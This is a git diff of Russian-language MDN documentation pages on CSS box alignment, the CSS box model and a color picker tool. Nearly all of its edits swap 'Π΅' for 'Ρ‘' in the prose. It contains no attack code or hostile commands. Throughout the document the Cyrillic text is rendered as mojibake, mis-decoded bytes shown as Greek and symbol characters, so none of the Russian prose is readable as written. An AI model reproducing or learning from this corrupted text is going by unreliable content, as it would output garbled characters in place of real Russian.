ΠΊΠ°ΠΊ прСдлоТСния Π½Π° арабском языкС Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с ΠΏΡ€Π°Π²ΠΎΠΉ стороны страницы.</p>
+<p>НапримСр, ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ Π² CSS Grid Layout, Ссли Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π° русском языкС ΠΈ устанавливаСтС для Π½Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>justify-content</code> <code>start</code>, это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΡŽ элСмСнтов Π² встроСнном ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈ Π² Π½Π°Ρ‡Π°Π»ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π»Π΅Π²Ρ‹ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ прСдлоТСния Π½Π° русском Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ слСва. Если Π²Ρ‹ использовали арабский язык, ΠΏΡ€Π°Π²ΠΎ Π½Π° Π»Π΅Π²Ρ‹ΠΉ язык, Ρ‚ΠΎ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>start</code> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ элСмСнты ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π²ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ прСдлоТСния Π½Π° арабском языкС Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с ΠΏΡ€Π°Π²ΠΎΠΉ стороны страницы.</p>
<p>Оба этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΈΠΌΠ΅ΡŽΡ‚ <code>justify-content: start</code>, ΠΎΠ΄Π½Π°ΠΊΠΎ мСстополоТСниС Π½Π°Ρ‡Π°Π»Π° измСняСтся Π² соотвСтствии с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ записи.</p>
@@ -127,11 +127,11 @@ translation_of: Web/CSS/CSS_Box_Alignment
<p>Π˜ΡΡ…ΠΎΠ΄Π½ΠΎΠ΅ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ содСрТимого - ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ значСния выравнивания Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ для <code>justify-content</code> ΠΈΠ»ΠΈ <code>align-content</code> - Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат элСмСнты Π² строках. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ выравнивания Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ, добавляя Π² Π½ΠΈΡ… поля.</p>
-<p>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ линия выравнивания сдвигаСт поля для выравнивания ΠΏΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΏΡƒΡ‚Π΅ΠΌ добавлСния поля Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΏΠΎΠ»Π΅ΠΉ. Self alignment - это использованиС <code>justify-self</code> ΠΈΠ»ΠΈ <code>align-self</code> ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ настройкС этих Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹ с <code>justify-items</code> ΠΈ <code>align-items</code>.</p>
+<p>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ линия выравнивания сдвигаСт поля для выравнивания ΠΏΠΎ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния поля Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ ΠΏΠΎΠ»Π΅ΠΉ. Self alignment - это использованиС <code>justify-self</code> ΠΈΠ»ΠΈ <code>align-self</code> ΠΈΠ»ΠΈ ΠΏΡ€ΠΈ настройкС этих Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² Π²ΠΈΠ΄Π΅ Π³Ρ€ΡƒΠΏΠΏΡ‹ с <code>justify-items</code> ΠΈ <code>align-items</code>.</p>
<h3 id="Distributed_alignment">Distributed alignment</h3>
-<p><strong>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова распрСдСлСнного выравнивания</strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <code>align-content</code> ΠΈ <code>justify-content</code>. Π­Ρ‚ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ происходит с ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ пространством послС отобраТСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ЗначСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅:</p>
+<p><strong>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова распрСдСлённого выравнивания</strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ <code>align-content</code> ΠΈ <code>justify-content</code>. Π­Ρ‚ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, Ρ‡Ρ‚ΠΎ происходит с ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ пространством послС отобраТСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ЗначСния ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅:</p>
<ul>
<li><code>stretch</code></li>
@@ -154,7 +154,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<p><code>safe</code> ΠΈ <code>unsafe</code> ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ выравнивания большС, Ρ‡Π΅ΠΌ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ выравнивания. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>safe</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ для <code>start</code> Π² случаС Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ выравнивания, Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅, Ρ†Π΅Π»ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Β«ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…Β», ΠΊΠΎΠ³Π΄Π° Ρ‡Π°ΡΡ‚ΡŒ элСмСнта находится Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π³Ρ€Π°Π½ΠΈΡ† ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выравнивания ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½Π° Π΄ΠΎ.</p>
-<p>Если Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ <code>unsafe</code>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, Π΄Π°ΠΆΠ΅ Ссли это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΡ‚Π΅Ρ€Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Если Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ <code>unsafe</code>, Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ, Π΄Π°ΠΆΠ΅ Ссли это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚Π°ΠΊΠΎΠΉ ΠΏΠΎΡ‚Π΅Ρ€Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<h2 id="ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹_ΠΌΠ΅ΠΆΠ΄Ρƒ_boxes">ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹ ΠΌΠ΅ΠΆΠ΄Ρƒ boxes</h2>
@@ -168,7 +168,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
<li>{{cssxref("gap")}}</li>
</ul>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚ сСтки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΡƒΡŽ <code>gap</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Ρ‹Π² <code>10px</code> ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ строк ΠΈ <code>2em</code> Ρ€Π°Π·Ρ€Ρ‹Π² ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ столбцов.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚ сСтки ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΡƒΡŽ <code>gap</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π°Π·Ρ€Ρ‹Π² <code>10px</code> ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ строк ΠΈ <code>2em</code> Ρ€Π°Π·Ρ€Ρ‹Π² ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°ΠΌΠΈ столбцов.</p>
<p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}</p>
diff --git a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
index 1ad4642062..cb2b41fbb1 100644
--- a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
+++ b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
@@ -16,19 +16,19 @@ original_slug: Web/CSS/box_model
<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
-<p><a name="content"><strong>ВнутрСнняя ΠΎΠ±Π»Π°ΡΡ‚ΡŒ</strong> элСмСнта (<strong>content area</strong>) содСрТит тСкст ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, располоТСнныС Π²Π½ΡƒΡ‚Ρ€ΠΈ (<em>ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</em> ΠΈΠ»ΠΈ <em>содСрТимоС</em>). Π£ Π½Π΅Ρ‘ часто Π±Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΠΎΠ½, Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС: Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ скрываСтся ΠΏΠΎΠ΄ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ), ΠΈ ΠΎΠ½Π° находится Π²Π½ΡƒΡ‚Ρ€ΠΈ <em>content edge</em>; Π΅Ρ‘ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <em>ΡˆΠΈΡ€ΠΈΠ½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> (<em>content width</em> ΠΈΠ»ΠΈ <em>content-box width)</em>, ΠΈ <em>высота ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> (<em>content height</em>Β ΠΈΠ»ΠΈ content-box height). Иногда Π΅Ρ‰Π΅ говорят «внутрСнняя ΡˆΠΈΡ€ΠΈΠ½Π°/высота элСмСнта»</a></p>
+<p><a name="content"><strong>ВнутрСнняя ΠΎΠ±Π»Π°ΡΡ‚ΡŒ</strong> элСмСнта (<strong>content area</strong>) содСрТит тСкст ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты, располоТСнныС Π²Π½ΡƒΡ‚Ρ€ΠΈ (<em>ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</em> ΠΈΠ»ΠΈ <em>содСрТимоС</em>). Π£ Π½Π΅Ρ‘ часто Π±Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΠΎΠ½, Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ (Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС: Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ скрываСтся ΠΏΠΎΠ΄ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ), ΠΈ ΠΎΠ½Π° находится Π²Π½ΡƒΡ‚Ρ€ΠΈ <em>content edge</em>; Π΅Ρ‘ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ <em>ΡˆΠΈΡ€ΠΈΠ½Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> (<em>content width</em> ΠΈΠ»ΠΈ <em>content-box width)</em>, ΠΈ <em>высота ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</em> (<em>content height</em>Β ΠΈΠ»ΠΈ content-box height). Иногда Π΅Ρ‰Ρ‘ говорят «внутрСнняя ΡˆΠΈΡ€ΠΈΠ½Π°/высота элСмСнта»</a></p>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли CSS-свойство {{ cssxref("box-sizing") }} Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ области с содСрТимым задаСтся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если ΠΆΠ΅ свойство  {{ cssxref("box-sizing") }} Π·Π°Π΄Π°Π½ΠΎ, Ρ‚ΠΎ ΠΎΠ½ΠΎ опрСдСляСт, для какой области ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ссли CSS-свойство {{ cssxref("box-sizing") }} Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ области с содСрТимым задаётся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если ΠΆΠ΅ свойство  {{ cssxref("box-sizing") }} Π·Π°Π΄Π°Π½ΠΎ, Ρ‚ΠΎ ΠΎΠ½ΠΎ опрСдСляСт, для какой области ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹.</p>
<p><a name="padding">Поля элСмСнта (<strong>padding area)</strong>Β β€” это пустая ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰Π°Ρ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Она ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π»ΠΈΡ‚Π° ΠΊΠ°ΠΊΠΈΠΌ-Ρ‚ΠΎ Ρ†Π²Π΅Ρ‚ΠΎΠΌ, ΠΏΠΎΠΊΡ€Ρ‹Ρ‚Π° Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΎΠΉ, Π° Π΅Ρ‘ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ края полСй (<em>padding edge)</em>.</a></p>
<p>Π Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎΠ»Π΅ΠΉ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ с Ρ€Π°Π·Π½Ρ‹Ρ… сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} ΠΈΠ»ΠΈ ΠΎΠ±Ρ‰ΠΈΠΌ свойством {{ cssxref("padding") }}.</p>
-<p><a name="border">ΠžΠ±Π»Π°ΡΡ‚ΡŒ Ρ€Π°ΠΌΠΊΠΈ (<strong>border area)</strong>Β ΠΎΠΊΡ€ΡƒΠΆΠ°Π΅Ρ‚ поля элСмСнта, Π° Π΅Π΅ Π³Ρ€Π°Π½ΠΈΡ†Π° называСтся края Ρ€Π°ΠΌΠΊΠΈ (<em>border edge).</em>Β Π¨ΠΈΡ€ΠΈΠ½Π° рамки задаСтся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ свойством  {{ cssxref("border-width") }} ΠΈΠ»ΠΈ Π² составС свойства {{ cssxref("border") }}. Π Π°Π·ΠΌΠ΅Ρ€Ρ‹ элСмСнта с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Ρ€Π°ΠΌΠΊΠΈ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ внСшнСй ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ/высотой элСмСнта.</a></p>
+<p><a name="border">ΠžΠ±Π»Π°ΡΡ‚ΡŒ Ρ€Π°ΠΌΠΊΠΈ (<strong>border area)</strong>Β ΠΎΠΊΡ€ΡƒΠΆΠ°Π΅Ρ‚ поля элСмСнта, Π° Π΅Ρ‘ Π³Ρ€Π°Π½ΠΈΡ†Π° называСтся края Ρ€Π°ΠΌΠΊΠΈ (<em>border edge).</em>Β Π¨ΠΈΡ€ΠΈΠ½Π° рамки задаётся ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ свойством  {{ cssxref("border-width") }} ΠΈΠ»ΠΈ Π² составС свойства {{ cssxref("border") }}. Π Π°Π·ΠΌΠ΅Ρ€Ρ‹ элСмСнта с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΏΠΎΠ»Π΅ΠΉ ΠΈ Ρ€Π°ΠΌΠΊΠΈ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ внСшнСй ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ/высотой элСмСнта.</a></p>
<p><a name="margin">ΠžΡ‚ΡΡ‚ΡƒΠΏΡ‹ (<strong>margin area)</strong> Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ пустоС пространство Π²ΠΎΠΊΡ€ΡƒΠ³ элСмСнта ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ расстояниС Π΄ΠΎ сосСдних элСмСнтов.</a></p>
-<p>Π’Π΅Π»ΠΈΡ‡ΠΈΠ½Π° отступов задаСтся ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… направлСниях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} ΠΈΠ»ΠΈ ΠΎΠ±Ρ‰ΠΈΠΌ свойством {{ cssxref("margin") }}.</p>
+<p>Π’Π΅Π»ΠΈΡ‡ΠΈΠ½Π° отступов задаётся ΠΏΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… направлСниях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} ΠΈΠ»ΠΈ ΠΎΠ±Ρ‰ΠΈΠΌ свойством {{ cssxref("margin") }}.</p>
<p>ΠžΡ‚ΡΡ‚ΡƒΠΏΡ‹ Π΄Π²ΡƒΡ… сосСдних элСмСнтов, располоТСнных Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΈΠ»ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ Π² Π΄Ρ€ΡƒΠ³Π°, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒΡΡ. Π­Ρ‚ΠΎ называСтся схлопываниС Π³Ρ€Π°Π½ΠΈΡ† (<a href="/ru/docs/Web/CSS/margin_collapsing" title="ru/CSS/margin_collapsing">margin collapsing</a>). Π‘Ρ…Π»ΠΎΠΏΡ‹Π²Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ отступы.</p>
diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html
index 499aa260fd..a148b4e9af 100644
--- a/files/ru/web/css/css_colors/color_picker_tool/index.html
+++ b/files/ru/web/css/css_colors/color_picker_tool/index.html
@@ -3212,7 +3212,7 @@ var ColorPickerTool = (function ColorPickerTool() {
<p>{{CSSRef}}</p>
-<p>Π­Ρ‚ΠΎΡ‚ инструмСнт позволяСт Π»Π΅Π³ΠΊΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ для использования Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Он Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π»Π΅Π³ΠΊΠΎ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ CSS, Π² Ρ‚ΠΎΠΌ числС: ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, RGB (красный / Π·Π΅Π»Π΅Π½Ρ‹ΠΉ / синий) ΠΈ HSL (Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ Ρ‚ΠΎΠ½ / ΠΠ°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ / Π―Ρ€ΠΊΠΎΡΡ‚ΡŒ). ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ (ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ) поддСрТиваСтся Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… RGB (RGBA) ΠΈ HSL (HSLA).</p>
